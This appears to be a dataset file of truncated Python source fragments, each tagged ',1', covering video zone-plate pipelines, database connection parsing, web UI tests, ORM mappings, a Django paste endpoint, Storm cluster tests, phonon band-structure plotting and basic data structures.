'repeat'}"", 'pos': (70.0, 200.0)}, 'zpg2': { 'class': 'pyctools.components.zone.zoneplategenerator.ZonePlateGenerator', 'config': ""{'kx': 0.002, 'kt': -0.017, 'xlen': 600, 'ylen': "" ""200, 'zlen': 1000, 'looping': 'repeat'}"", 'pos': (70.0, 330.0)}} linkages = \ { ('clipper', 'output'): [('stacker', 'input1')], ('clipper2', 'output'): [('stacker', 'input2')], ('stacker', 'output'): [('qd', 'input')], ('zpg', 'output'): [('clipper', 'input')], ('zpg2', 'output'): [('clipper2', 'input')]} def make(self): comps = {} for name, component in self.components.items(): comps[name] = eval(component['class'])(config=eval(component['config'])) return Compound(linkages=self.linkages, **comps) if __name__ == '__main__': from PyQt5 import QtCore, QtWidgets QtWidgets.QApplication.setAttribute(QtCore.Qt.AA_X11InitThreads) app = QtWidgets.QApplication([]) comp = Network().make() cnf = comp.get_config() parser = argparse.ArgumentParser( formatter_class=argparse.ArgumentDefaultsHelpFormatter) cnf.parser_add(parser) parser.add_argument('-v', '--verbose', action='count', default=0, help='increase verbosity of log messages') args = parser.parse_args() logging.basicConfig(level=logging.ERROR - (args.verbose * 10)) del args.verbose cnf.parser_set(args) comp.set_config(cnf) comp.start() app.exec_() comp.stop() comp.join() ",1 "rse_qsl from urllib import unquote from .mysql import MySQLDriver from .sqlite import SQLiteDriver from .postgresql import PostgreSQLDriver def parse_dsn(dsn_string): """"""Parse a connection string and return the associated driver"""""" dsn = urlparse(dsn_string) scheme = dsn.scheme.split('+')[0] username = password = host = port = None host = dsn.netloc if '@' in host: username, host = host.split('@') if ':' in username: username, password = username.split(':') password = unquote(password) username = unquote(username) if ':' in host: host, port = host.split(':') port = int(port) database = dsn.path.split('?')[0][1:] query = dsn.path.split('?')[1] if '?' in dsn.path else dsn.query kwargs = dict(parse_qsl(query, True)) if scheme == 'sqlite': return SQLiteDriver, [dsn.path], {} elif scheme == 'mysql': kwargs['user'] = username or 'root' kwargs['db'] = database if port: kwargs['port'] = port if host: kwargs['host'] = host if password: kwargs['passwd'] = password return MySQLDriver, [], kwargs elif scheme == 'postgresql': kwargs['user'] = username or 'postgres' kwargs['database'] = database if port: kwargs['port'] = port if 'unix_socket' in kwargs: kwargs['host'] = kwargs.pop('unix_socket') elif host: kwargs['host'] = host if password: kwargs['password'] = password return PostgreSQLDriver, [], kwargs else: raise ValueError('Unknown driver %s' % dsn_string) def get_driver(dsn_string): driver, args, kwargs = parse_dsn(dsn_string) return driver(*args, **kwargs) ",1 "om lib import db from lib import assets_helper import unittest from datetime import datetime, timedelta asset_x = { 'mimetype': u'web', 'asset_id': u'4c8dbce552edb5812d3a866cfe5f159d', 'name': u'WireLoad', 'uri': u'http://www.wireload.net', 'start_date': datetime.now() - timedelta(days=1), 'end_date': datetime.now() + timedelta(days=1), 'duration': u'5', 'is_enabled': 0, 'nocache': 0, 'play_order': 1, } asset_y = { 'mimetype': u'image', 'asset_id': u'7e978f8c1204a6f70770a1eb54a76e9b', 'name': u'Google', 'uri': u'https://www.google.com/images/srpr/logo3w.png', 'start_date': datetime.now() - timedelta(days=1), 'end_date': datetime.now() + timedelta(days=1), 'duration': u'6', 'is_enabled': 1, 'nocache': 0, 'play_order': 0, } main_page_url = 'http://foo:bar@localhost:8080' settings_url = 'http://foo:bar@localhost:8080/settings' system_info_url = 'http://foo:bar@localhost:8080/system_info' def wait_for_and_do(browser, query, callback): not_filled = True n = 0 while not_filled: try: callback(browser.find_by_css(query).first) not_filled = False except ElementNotVisibleException, e: if n > 20: raise e n += 1 class WebTest(unittest.TestCase): def setUp(self): with db.conn(settings['database']) as conn: assets = assets_helper.read(conn) for asset in assets: assets_helper.delete(conn, asset['asset_id']) def tearDown(self): pass def test_add_asset_url(self): with Browser() as browser: browser.visit(main_page_url) wait_for_and_do(browser, '#add-asset-button', lambda btn: btn.click()) sleep(1) wait_for_and_do(browser, 'input[name=""uri""]', lambda field: field.fill('http://example.com')) sleep(1) wait_for_and_do(browser, '#add-form', lambda form: form.click()) sleep(1) wait_for_and_do(browser, '#save-asset', lambda btn: btn.click()) sleep(3) # backend need time to process request with db.conn(settings['database']) as conn: assets = assets_helper.read(conn) self.assertEqual(len(assets), 1) asset = assets[0] self.assertEqual(asset['name'], u'http://example.com') self.assertEqual(asset['uri'], u'http://example.com') self.assertEqual(asset['mimetype'], u'webpage') self.assertEqual(asset['duration'], settings['default_duration']) def test_edit_asset(self): with db.conn(settings['database']) as conn: assets_helper.create(conn, asset_x) with Browser() as browser: browser.visit(main_page_url) wait_for_and_do(browser, '.edit-asset-button', lambda btn: btn.click()) sleep(1) wait_for_and_do(browser, 'input[name=""duration""]', lambda field: field.fill('333')) sleep(1) # wait for new-asset panel animation wait_for_and_do(browser, '#add-form', lambda form: form.click()) sleep(1) wait_for_and_do(browser, '#save-asset', lambda btn: btn.click()) sleep(3) # backend need time to process request with db.conn(settings['database']) as conn: assets = assets_helper.read(conn) self.assertEqual(len(assets), 1) asset = assets[0] self.assertEqual(asset['duration'], u'333') def test_add_asset_image_upload(self): image_file = '/tmp/image.png' with Browser() as browser: browser.visit(main_page_url) browser.find_by_id('add-asset-button').click() sleep(1) wait_for_and_do(browser, 'a[href=""#tab-file_upload""]', lambda tab: tab.click()) wait_for_and_do(browser, 'input[name=""file_upload""]', lambda input: input.fill(image_file)) sleep(1) # wait for new-asset panel animation sleep(3) # backend need time to process request with db.conn(settings['database']) as conn: assets = assets_helper.read(conn) self.assertEqual(len(assets), 1) asset = assets[0] self.assertEqual(asset['name'], u'image.png') self.assertEqual(asset['mimetype'], u'image') self.assertEqual(asset['duration'], settings['default_duration']) def test_add_asset_video_upload(self): video_file = '/tmp/video.flv' with Browser() as browser: browser.visit(main_page_url) browser.find_by_id('add-asset-button').click() sleep(1) wait_for_and_do(browser, 'a[href=""#tab-file_upload""]', lambda tab: tab.click()) wait_for_and_do(browser, 'input[name=""file_upload""]', lambda input: input.fill(video_file)) sleep(1) # wait for new-asset panel animation sleep(3) # backend need time to process request with db.conn(settings['database']) as conn: assets = assets_helper.read(conn) self.assertEqual(len(assets), 1) asset = assets[0] self.assertEqual(asset['name'], u'video.flv') self.assertEqual(asset['mimetype'], u'video') self.assertEqual(asset['duration'], u'54') def test_add_two_assets_upload(self): video_file = '/tmp/video.flv' image_file = '/tmp/image.png' with Browser() as browser: browser.visit(main_page_url) browser.find_by_id('add-asset-button').click() sleep(1) wait_for_and_do(browser, 'a[href=""#tab-file_upload""]', lambda tab: tab.click()) wait_for_and_do(browser, 'input[name=""file_upload""]', lambda input: input.fill(image_file)) wait_for_and_do(browser, 'input[name=""file_upload""]', lambda input: input.fill(video_file)) sleep(3) # backend need time to process request with db.conn(settings['database']) as conn: assets = assets_helper.read(conn) self.assertEqual(len(assets), 2) self.assertEqual(assets[0]['name'], u'image.png') self.assertEqual(assets[0]['mimetype'], u'image') self.assertEqual(assets[0]['duration'], settings['default_duration']) self.assertEqual(assets[1]['name'], u'video.flv') self.assertEqual(assets[1]['mimetype'], u'video') self.assertEqual(assets[1]['duration'], u'54') def test_add_asset_streaming(self): with Browser() as browser: browser.visit(main_page_url) wait_for_and_do(browser, '#add-asset-button', lambda btn: btn.click()) sleep(1) wait_for_and_do(browser, 'input[name=""uri""]', lambda field: field.fill('rtmp://localhost:1935/app/video.flv')) sleep(1) wait_for_and_do(browser, '#add-form', lambda form: form.click()) sleep(1) wait_for_and_do(browser, '#save-asset', lambda btn: btn.click()) sleep(10) # backend need time to process request with db.conn(settings['database']) as conn: assets = assets_helper.read(conn) self.assertEqual(len(assets), 1) asset = assets[0] self.assertEqual(asset['name'], u'rtmp://localhost:1935/app/video.flv') self.assertEqual(asset['uri'], u'rtmp://localhost:1935/app/video.flv') self.assertEqual(asset['mimetype'], u'streaming') self.assertEqual(asset['duration'], settings['default_streaming_duration']) def test_rm_asset(self): with db.conn(settings['database']) as conn: assets_helper.create(conn, asset_x) with Browser() as browser: browser.visit(main_page_url) wait_for_and_do(browser, '.delete-asset-button', lambda btn: btn.click()) wait_for_and_do(browser, '.confirm-delete', lambda btn: btn.click()) sleep(3) # backend need time to process request with db.conn(settings['database']) as conn: assets = assets_helper.read(conn) self.assertEqual(len(assets), 0) def test_enable_asset(self): with db.conn(settings['database']) as conn: assets_helper.create(conn, asset_x) with Browser() as browser: browser.visit(main_page_url) wait_for_and_do(browser, 'span[class=""on""]', lambda btn: btn.click()) sleep(3) # backend need time to process request with db.conn(settings['database']) as conn: assets = assets_helper.read(conn) self.assertEqual(len(assets), 1) asset = assets[0] self.assertEqual(asset['is_enabled'], 1) def test_disable_asset(self): with db.conn(settings['database']) as conn: _asset_x = asset_x.copy() _asset_x['is_enabled'] = 1 assets_helper.create(conn, _asset_x) with Browser() as browser: browser.visit(main_page_url) wait_for_and_do(browser, 'span[class=""off""]', lambda btn: btn.click()) sleep(3) # backend need time to process request with db.conn(settings['database']) as conn: assets = assets_helper.read(conn) self.assertEqual(len(assets), 1) asset = assets[0] self.assertEqual(asset['is_enabled'], 0) def test_reorder_asset(self): with db.conn(settings['database']) as conn: _asset_x = asset_x.copy() _asset_x['is_enabled'] = 1 assets_helper.create(conn, _asset_x) assets_helper.create(conn, asset_y) with Browser() as browser: browser.visit(main_page_url) asset_x_for_drag = browser.find_by_id(asset_x['asset_id']) sleep(1) asset_y_to_reorder = browser.find_by_id(asset_y['asset_id']) asset_x_for_drag.drag_and_drop(asset_y_to_reorder) sleep(3) # backend need time to process request with db.conn(settings['database']) as conn: x = assets_helper.read(conn, asset_x['asset_id']) y = assets_helper.read(conn, asset_y['asset_id']) self.assertEqual(x['play_order'], 0) self.assertEqual(y['play_order'], 1) def test_settings_page_should_work(self): with Browser() as browser: browser.visit(settings_url) self.assertEqual(browser.is_text_present('Error: 500 Internal Server Error'), False, '500: internal server error not expected') def test_system_info_page_should_work(self): with Browser() as browser: browser.visit(system_info_url) self.assertEqual(browser.is_text_present('Error: 500 Internal Server Error'), False, '500: internal server error not expected') ",1 "eos is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # eos is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with eos. If not, see . # =============================================================================== from sqlalchemy import Column, String, Integer, Boolean, ForeignKey, Table, Float from sqlalchemy.ext.associationproxy import association_proxy from sqlalchemy.orm import relation, mapper, synonym, deferred from sqlalchemy.orm.collections import attribute_mapped_collection from eos.db import gamedata_meta from eos.types import Icon, Attribute, Item, Effect, MetaType, Group, Traits items_table = Table(""invtypes"", gamedata_meta, Column(""typeID"", Integer, primary_key=True), Column(""typeName"", String, index=True), Column(""description"", String), Column(""raceID"", Integer), Column(""factionID"", Integer), Column(""volume"", Float), Column(""mass"", Float), Column(""capacity"", Float), Column(""published"", Boolean), Column(""marketGroupID"", Integer, ForeignKey(""invmarketgroups.marketGroupID"")), Column(""iconID"", Integer, ForeignKey(""icons.iconID"")), Column(""groupID"", Integer, ForeignKey(""invgroups.groupID""), index=True)) from .metaGroup import metatypes_table # noqa from .traits import traits_table # noqa mapper(Item, items_table, properties={""group"": relation(Group, backref=""items""), ""icon"": relation(Icon), ""_Item__attributes"": relation(Attribute, collection_class=attribute_mapped_collection('name')), ""effects"": relation(Effect, collection_class=attribute_mapped_collection('name')), ""metaGroup"": relation(MetaType, primaryjoin=metatypes_table.c.typeID == items_table.c.typeID, uselist=False), ""ID"": synonym(""typeID""), ""name"": synonym(""typeName""), ""description"": deferred(items_table.c.description), ""traits"": relation(Traits, primaryjoin=traits_table.c.typeID == items_table.c.typeID, uselist=False) }) Item.category = association_proxy(""group"", ""category"") ",1 "rt Paste, Language @csrf_exempt def add(request): print ""jojo"" if request.method == 'POST': language = request.POST['language'] content = request.POST['content'] try: lang = Language.objects.get(pk=language) except: print ""lang not avalible"", language lang = Language.objects.get(pk='txt') paste = Paste(content=content, language=lang) paste.save() paste = Paste.objects.latest() return HttpResponse(paste.pk, content_type='text/plain') else: return redirect('/api') ",1 "cli.storm_cluster import StormCluster from pyleus.cli.storm_cluster import TOPOLOGY_BUILDER_CLASS from pyleus.testing import mock class TestGetStormCmdEnd(object): @pytest.fixture(autouse=True) def mock_os_environ(self, monkeypatch): monkeypatch.setattr(os, 'environ', {}) def test_jvm_opts_unset(self): assert _get_storm_cmd_env(None) is None def test_jvm_opts_set(self): jvm_opts = ""-Dfoo=bar"" env = _get_storm_cmd_env(jvm_opts) assert env[STORM_JAR_JVM_OPTS] == jvm_opts class TestStormCluster(object): @pytest.fixture def cluster(self): return StormCluster( mock.sentinel.storm_cmd_path, mock.sentinel.nimbus_host, mock.sentinel.nimbus_port, mock.sentinel.verbose, mock.sentinel.jvm_opts, ) def test__build_storm_cmd_no_port(self, cluster): cluster.nimbus_host = ""test-host"" cluster.nimbus_port = None storm_cmd = cluster._build_storm_cmd([""a"", ""cmd""]) assert storm_cmd == [mock.sentinel.storm_cmd_path, ""a"", ""cmd"", ""-c"", ""nimbus.host=test-host""] def test__build_storm_cmd_with_port(self, cluster): cluster.nimbus_host = ""test-host"" cluster.nimbus_port = 4321 storm_cmd = cluster._build_storm_cmd([""another"", ""cmd""]) assert storm_cmd == [mock.sentinel.storm_cmd_path, ""another"", ""cmd"", ""-c"", ""nimbus.host=test-host"", ""-c"", ""nimbus.thrift.port=4321""] def test_submit(self, cluster): with mock.patch.object(cluster, '_exec_storm_cmd', autospec=True) as mock_exec: cluster.submit(mock.sentinel.jar_path) mock_exec.assert_called_once_with([""jar"", mock.sentinel.jar_path, TOPOLOGY_BUILDER_CLASS]) ",1 "015,2016,2017 Contributor # # Licensed under the Apache License, Version 2.0 (the ""License""); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """""" Contains the logic for `aq del cluster systemlist --hostname`. """""" from aquilon.aqdb.model import SystemList from aquilon.worker.broker import BrokerCommand # pylint: disable=W0611 from aquilon.worker.commands.del_cluster_member_priority import \ CommandDelClusterMemberPriority class CommandDelClusterSystemList(CommandDelClusterMemberPriority): required_parameters = [""cluster"", ""hostname""] resource_class = SystemList def render(self, hostname, **kwargs): super(CommandDelClusterSystemList, self).render(hostname=None, metacluster=None, comments=None, member=hostname, **kwargs) ",1 "_literals, print_function import logging from collections import OrderedDict import numpy as np from monty.json import jsanitize from pymatgen.phonon.bandstructure import PhononBandStructureSymmLine from pymatgen.util.plotting import pretty_plot from pymatgen.electronic_structure.plotter import plot_brillouin_zone """""" This module implements plotter for DOS and band structure. """""" logger = logging.getLogger(__name__) class PhononDosPlotter(object): """""" Class for plotting phonon DOSs. Note that the interface is extremely flexible given that there are many different ways in which people want to view DOS. The typical usage is:: # Initializes plotter with some optional args. Defaults are usually # fine, plotter = PhononDosPlotter() # Adds a DOS with a label. plotter.add_dos(""Total DOS"", dos) # Alternatively, you can add a dict of DOSs. This is the typical # form returned by CompletePhononDos.get_element_dos(). Args: stack: Whether to plot the DOS as a stacked area graph key_sort_func: function used to sort the dos_dict keys. sigma: A float specifying a standard deviation for Gaussian smearing the DOS for nicer looking plots. Defaults to None for no smearing. """""" def __init__(self, stack=False, sigma=None): self.stack = stack self.sigma = sigma self._doses = OrderedDict() def add_dos(self, label, dos): """""" Adds a dos for plotting. Args: label: label for the DOS. Must be unique. dos: PhononDos object """""" densities = dos.get_smeared_densities(self.sigma) if self.sigma \ else dos.densities self._doses[label] = {'frequencies': dos.frequencies, 'densities': densities} def add_dos_dict(self, dos_dict, key_sort_func=None): """""" Add a dictionary of doses, with an optional sorting function for the keys. Args: dos_dict: dict of {label: Dos} key_sort_func: function used to sort the dos_dict keys. """""" if key_sort_func: keys = sorted(dos_dict.keys(), key=key_sort_func) else: keys = dos_dict.keys() for label in keys: self.add_dos(label, dos_dict[label]) def get_dos_dict(self): """""" Returns the added doses as a json-serializable dict. Note that if you have specified smearing for the DOS plot, the densities returned will be the smeared densities, not the original densities. Returns: Dict of dos data. Generally of the form, {label: {'frequencies':.., 'densities': ...}} """""" return jsanitize(self._doses) def get_plot(self, xlim=None, ylim=None): """""" Get a matplotlib plot showing the DOS. Args: xlim: Specifies the x-axis limits. Set to None for automatic determination. ylim: Specifies the y-axis limits. """""" import prettyplotlib as ppl from prettyplotlib import brewer2mpl ncolors = max(3, len(self._doses)) ncolors = min(9, ncolors) colors = brewer2mpl.get_map('Set1', 'qualitative', ncolors).mpl_colors y = None alldensities = [] allfrequencies = [] plt = pretty_plot(12, 8) # Note that this complicated processing of frequencies is to allow for # stacked plots in matplotlib. for key, dos in self._doses.items(): frequencies = dos['frequencies'] densities = dos['densities'] if y is None: y = np.zeros(frequencies.shape) if self.stack: y += densities newdens = y.copy() else: newdens = densities allfrequencies.append(frequencies) alldensities.append(newdens) keys = list(self._doses.keys()) keys.reverse() alldensities.reverse() allfrequencies.reverse() allpts = [] for i, (key, frequencies, densities) in enumerate(zip(keys, allfrequencies, alldensities)): allpts.extend(list(zip(frequencies, densities))) if self.stack: plt.fill(frequencies, densities, color=colors[i % ncolors], label=str(key)) else: ppl.plot(frequencies, densities, color=colors[i % ncolors], label=str(key), linewidth=3) if xlim: plt.xlim(xlim) if ylim: plt.ylim(ylim) else: xlim = plt.xlim() relevanty = [p[1] for p in allpts if xlim[0] < p[0] < xlim[1]] plt.ylim((min(relevanty), max(relevanty))) ylim = plt.ylim() plt.plot([0, 0], ylim, 'k--', linewidth=2) plt.xlabel('Frequencies (THz)') plt.ylabel('Density of states') plt.legend() leg = plt.gca().get_legend() ltext = leg.get_texts() # all the text.Text instance in the legend plt.setp(ltext, fontsize=30) plt.tight_layout() return plt def save_plot(self, filename, img_format=""eps"", xlim=None, ylim=None): """""" Save matplotlib plot to a file. Args: filename: Filename to write to. img_format: Image format to use. Defaults to EPS. xlim: Specifies the x-axis limits. Set to None for automatic determination. ylim: Specifies the y-axis limits. """""" plt = self.get_plot(xlim, ylim) plt.savefig(filename, format=img_format) def show(self, xlim=None, ylim=None): """""" Show the plot using matplotlib. Args: xlim: Specifies the x-axis limits. Set to None for automatic determination. ylim: Specifies the y-axis limits. """""" plt = self.get_plot(xlim, ylim) plt.show() class PhononBSPlotter(object): """""" Class to plot or get data to facilitate the plot of band structure objects. Args: bs: A BandStructureSymmLine object. """""" def __init__(self, bs): if not isinstance(bs, PhononBandStructureSymmLine): raise ValueError( ""PhononBSPlotter only works with PhononBandStructureSymmLine objects. "" ""A PhononBandStructure object (on a uniform grid for instance and "" ""not along symmetry lines won't work)"") self._bs = bs self._nb_bands = self._bs.nb_bands def _maketicks(self, plt): """""" utility private method to add ticks to a band structure """""" ticks = self.get_ticks() # Sanitize only plot the uniq values uniq_d = [] uniq_l = [] temp_ticks = list(zip(ticks['distance'], ticks['label'])) for i in range(len(temp_ticks)): if i == 0: uniq_d.append(temp_ticks[i][0]) uniq_l.append(temp_ticks[i][1]) logger.debug(""Adding label {l} at {d}"".format( l=temp_ticks[i][0], d=temp_ticks[i][1])) else: if temp_ticks[i][1] == temp_ticks[i - 1][1]: logger.debug(""Skipping label {i}"".format( i=temp_ticks[i][1])) else: logger.debug(""Adding label {l} at {d}"".format( l=temp_ticks[i][0], d=temp_ticks[i][1])) uniq_d.append(temp_ticks[i][0]) uniq_l.append(temp_ticks[i][1]) logger.debug(""Unique labels are %s"" % list(zip(uniq_d, uniq_l))) plt.gca().set_xticks(uniq_d) plt.gca().set_xticklabels(uniq_l) for i in range(len(ticks['label'])): if ticks['label'][i] is not None: # don't print the same label twice if i != 0: if ticks['label'][i] == ticks['label'][i - 1]: logger.debug(""already print label... "" ""skipping label {i}"".format( i=ticks['label'][i])) else: logger.debug(""Adding a line at {d}"" "" for label {l}"".format( d=ticks['distance'][i], l=ticks['label'][i])) plt.axvline(ticks['distance'][i], color='k') else: logger.debug(""Adding a line at {d} for label {l}"".format( d=ticks['distance'][i], l=ticks['label'][i])) plt.axvline(ticks['distance'][i], color='k') return plt def bs_plot_data(self): """""" Get the data nicely formatted for a plot Returns: A dict of the following format: ticks: A dict with the 'distances' at which there is a qpoint (the x axis) and the labels (None if no label) frequencies: A list (one element for each branch) of frequencies for each qpoint: [branch][qpoint][mode]. The data is stored by branch to facilitate the plotting lattice: The reciprocal lattice. """""" distance = [] frequency = [] ticks = self.get_ticks() for b in self._bs.branches: frequency.append([]) distance.append([self._bs.distance[j] for j in range(b['start_index'], b['end_index'] + 1)]) for i in range(self._nb_bands): frequency[-1].append( [self._bs.bands[i][j] for j in range(b['start_index'], b['end_index'] + 1)]) return {'ticks': ticks, 'distances': distance, 'frequency': frequency, 'lattice': self._bs.lattice_rec.as_dict()} def get_plot(self, ylim=None): """""" Get a matplotlib object for the bandstructure plot. Args: ylim: Specify the y-axis (frequency) limits; by default None let the code choose. """""" plt = pretty_plot(12, 8) from matplotlib import rc import scipy.interpolate as scint try: rc('text', usetex=True) except: # Fall back on non Tex if errored. rc('text', usetex=False) band_linewidth = 1 data = self.bs_plot_data() for d in range(len(data['distances'])): for i in range(self._nb_bands): plt.plot(data['distances'][d], [data['frequency'][d][i][j] for j in range(len(data['distances'][d]))], 'b-', linewidth=band_linewidth) self._maketicks(plt) # plot y=0 line plt.axhline(0, linewidth=1, color='k') # Main X and Y Labels plt.xlabel(r'$\mathrm{Wave\ Vector}$', fontsize=30) ylabel = r'$\mathrm{Frequency\ (THz)}$' plt.ylabel(ylabel, fontsize=30) # X range (K) # last distance point x_max = data['distances'][-1][-1] plt.xlim(0, x_max) if ylim is not None: plt.ylim(ylim) plt.tight_layout() return plt def show(self, ylim=None): """""" Show the plot using matplotlib. Args: ylim: Specify the y-axis (frequency) limits; by default None let the code choose. """""" plt = self.get_plot(ylim) plt.show() def save_plot(self, filename, img_format=""eps"", ylim=None): """""" Save matplotlib plot to a file. Args: filename: Filename to write to. img_format: Image format to use. Defaults to EPS. ylim: Specifies the y-axis limits. """""" plt = self.get_plot(ylim=ylim) plt.savefig(filename, format=img_format) plt.close() def get_ticks(self): """""" Get all ticks and labels for a band structure plot. Returns: A dict with 'distance': a list of distance at which ticks should be set and 'label': a list of label for each of those ticks. """""" tick_distance = [] tick_labels = [] previous_label = self._bs.qpoints[0].label previous_branch = self._bs.branches[0]['name'] for i, c in enumerate(self._bs.qpoints): if c.label is not None: tick_distance.append(self._bs.distance[i]) this_branch = None for b in self._bs.branches: if b['start_index'] <= i <= b['end_index']: this_branch = b['name'] break if c.label != previous_label \ and previous_branch != this_branch: label1 = c.label if label1.startswith(""\\"") or label1.find(""_"") != -1: label1 = ""$"" + label1 + ""$"" label0 = previous_label if label0.startswith(""\\"") or label0.find(""_"") != -1: label0 = ""$"" + label0 + ""$"" tick_labels.pop() tick_distance.pop() tick_labels.append(label0 + ""$\\mid$"" + label1) else: if c.label.startswith(""\\"") or c.label.find(""_"") != -1: tick_labels.append(""$"" + c.label + ""$"") else: tick_labels.append(c.label) previous_label = c.label previous_branch = this_branch return {'distance': tick_distance, 'label': tick_labels} def plot_compare(self, other_plotter): """""" plot two band structure for comparison. One is in red the other in blue. The two band structures need to be defined on the same symmetry lines! and the distance between symmetry lines is the one of the band structure used to build the PhononBSPlotter Args: another PhononBSPlotter object defined along the same symmetry lines Returns: a matplotlib object with both band structures """""" data_orig = self.bs_plot_data() data = other_plotter.bs_plot_data() if len(data_orig['distances']) != len(data['distances']): raise ValueError('The two objects are not compatible.') plt = self.get_plot() band_linewidth = 1 for i in range(other_plotter._nb_bands): for d in range(len(data_orig['distances'])): plt.plot(data_orig['distances'][d], [e[i] for e in data['frequency']][d], 'r-', linewidth=band_linewidth) return plt def plot_brillouin(self): """""" plot the Brillouin zone """""" # get labels and lines labels = {} for q in self._bs.qpoints: if q.label: labels[q.label] = q.frac_coords lines = [] for b in self._bs.branches: lines.append([self._bs.qpoints[b['start_index']].frac_coords, self._bs.qpoints[b['end_index']].frac_coords]) plot_brillouin_zone(self._bs.lattice_rec, lines=lines, labels=labels) ",1 "ected type. Objects of protected types are preserved as-is when passed to force_unicode(strings_only=True). """""" return isinstance(obj, ( six.integer_types + (types.NoneType, datetime.datetime, datetime.date, datetime.time, float, Decimal)) ) def force_unicode(s, encoding='utf-8', strings_only=False, errors='strict'): """""" Similar to smart_text, except that lazy instances are resolved to strings, rather than kept as lazy objects. If strings_only is True, don't convert (some) non-string-like objects. """""" # Handle the common case first, saves 30-40% when s is an instance of # six.text_type. This function gets called often in that setting. if isinstance(s, six.text_type): return s if strings_only and is_protected_type(s): return s try: if not isinstance(s, six.string_types): if hasattr(s, '__unicode__'): s = s.__unicode__() else: if six.PY3: if isinstance(s, bytes): s = six.text_type(s, encoding, errors) else: s = six.text_type(s) else: s = six.text_type(bytes(s), encoding, errors) else: # Note: We use .decode() here, instead of six.text_type(s, # encoding, errors), so that if s is a SafeBytes, it ends up being # a SafeText at the end. s = s.decode(encoding, errors) except UnicodeDecodeError as e: if not isinstance(s, Exception): raise UnicodeDecodeError(*e.args) else: # If we get to here, the caller has passed in an Exception # subclass populated with non-ASCII bytestring data without a # working unicode method. Try to handle this without raising a # further exception by individually forcing the exception args # to unicode. s = ' '.join([force_unicode(arg, encoding, strings_only, errors) for arg in s]) return s ",1 "return x def sigmoid_grad(f): """""" Compute the gradient for the sigmoid function here. Note that for this implementation, the input f should be the sigmoid function value of your original input x. """""" f = f * (1. - f) return f def test_sigmoid_basic(): """""" Some simple tests to get you started. Warning: these are not exhaustive. """""" print ""Running basic tests..."" x = np.array([[1, 2], [-1, -2]]) f = sigmoid(x) g = sigmoid_grad(f) print f assert np.amax(f - np.array([[0.73105858, 0.88079708], [0.26894142, 0.11920292]])) <= 1e-6 print g assert np.amax(g - np.array([[0.19661193, 0.10499359], [0.19661193, 0.10499359]])) <= 1e-6 print ""You should verify these results!\n"" def test_sigmoid(): """""" Use this space to test your sigmoid implementation by running: python q2_sigmoid.py This function will not be called by the autograder, nor will your tests be graded. """""" print ""Running your tests..."" ### YOUR CODE HERE raise NotImplementedError ### END YOUR CODE if __name__ == ""__main__"": test_sigmoid_basic(); #test_sigmoid() ",1 "d Jackson """""" from __future__ import division, print_function, absolute_import import heapq import numpy as np from abc import ABCMeta, abstractmethod class Array(object): """"""The managed array class. The managed array class pre-allocates memory to the given size automatically resizing as needed. Parameters ---------- size : int The size of the array. Examples -------- >>> a = Array(5) >>> a[0] = 3 >>> a[1] = 6 Retrieving an elements: >>> a[0] 3 >>> a[2] 0 Finding the length of the array: >>> len(a) 2 """""" def __init__(self, size): self._data = np.zeros((size,)) self._capacity = size self._size = 0 def __setitem__(self, index, value): """"""Set the the array at the index to the given value. Parameters ---------- index : int The index into the array. value : The value to set the array to. """""" if index >= self._size: if self._size == self._capacity: self._capacity *= 2 new_data = np.zeros((self._capacity,)) new_data[:self._size] = self._data self._data = new_data self._size += 1 self._data[index] = value def __getitem__(self, index): """"""Get the value at the given index. Parameters ---------- index : int The index into the array. """""" return self._data[index] def __len__(self): """"""The length of the array. Returns ------- int : The size of the array """""" return self._size class Point2D(object): """"""The 2d-point class. The 2d-point class is a container for positions in a 2d-coordinate system. Parameters ---------- x : float, optional The x-position in a 2d-coordinate system. Default is 0.0. y : float, optional The y-position in a 2d-coordinate system. Default is 0.0. Attributes ---------- x : float The x-position in a 2d-coordinate system. y : float The y-position in a 2d-coordinate system. """""" __slots__ = ['x', 'y'] def __init__(self, x=0.0, y=0.0): self.x = x self.y = y class Point3D(object): """""" The 3d-point class. The 3d-point class is a container for positions in a 3d-coordinate system. Parameters ---------- x : float, optional The x-position in a 2d-coordinate system. Default is 0.0. y : float, optional The y-position in a 2d-coordinate system. Default is 0.0. z : float, optional The z-position in a 3d-coordinate system. Default is 0.0. Attributes ---------- x : float The x-position in a 2d-coordinate system. y : float The y-position in a 2d-coordinate system. z : float The z-position in a 3d-coordinate system. """""" __slots__ = ['x', 'y', 'z'] def __init__(self, x=0.0, y=0.0, z=0.0): self.x = x self.y = y self.z = z class Vector3D(Point3D): """"""The 3d-vector class. .. todo:: Implement vector functionality. Parameters ---------- x : float, optional The x-position in a 2d-coordinate system. Default is 0.0. y : float, optional The y-position in a 2d-coordinate system. Default is 0.0. z : float, optional The z-position in a 3d-coordinate system. Default is 0.0. Attributes ---------- x : float The x-position in a 2d-coordinate system. y : float The y-position in a 2d-coordinate system. z : float The z-position in a 3d-coordinate system. """""" def __init__(self, x=0.0, y=0.0, z=0.0): super(Vector3D, self).__init__(x, y, z) class Queue(object): """"""The abstract queue base class. The queue class handles core functionality common for any type of queue. All queues inherit from the queue base class. See Also -------- :class:`FIFOQueue`, :class:`PriorityQueue` """""" __metaclass__ = ABCMeta def __init__(self): self._queue = [] def __len__(self): return len(self._queue) def __contains__(self, item): try: self._queue.index(item) return True except Exception: return False def __iter__(self): return iter(self._queue) def __str__(self): return '[' + ', '.join('{}'.format(el) for el in self._queue) + ']' def __repr__(self): return ', '.join('{}'.format(el) for el in self._queue) @abstractmethod def push(self, item): """"""Push a new element on the queue Parameters ---------- item : The element to push on the queue """""" raise NotImplementedError @abstractmethod def pop(self): """"""Pop an element from the queue."""""" raise NotImplementedError def empty(self): """"""Check if the queue is empty. Returns ------- bool : Whether the queue is empty. """""" return len(self._queue) <= 0 def extend(self, items): """"""Extend the queue by a number of elements. Parameters ---------- items : list A list of items. """""" for item in items: self.push(item) def get(self, item): """"""Return the element in the queue identical to `item`. Parameters ---------- item : The element to 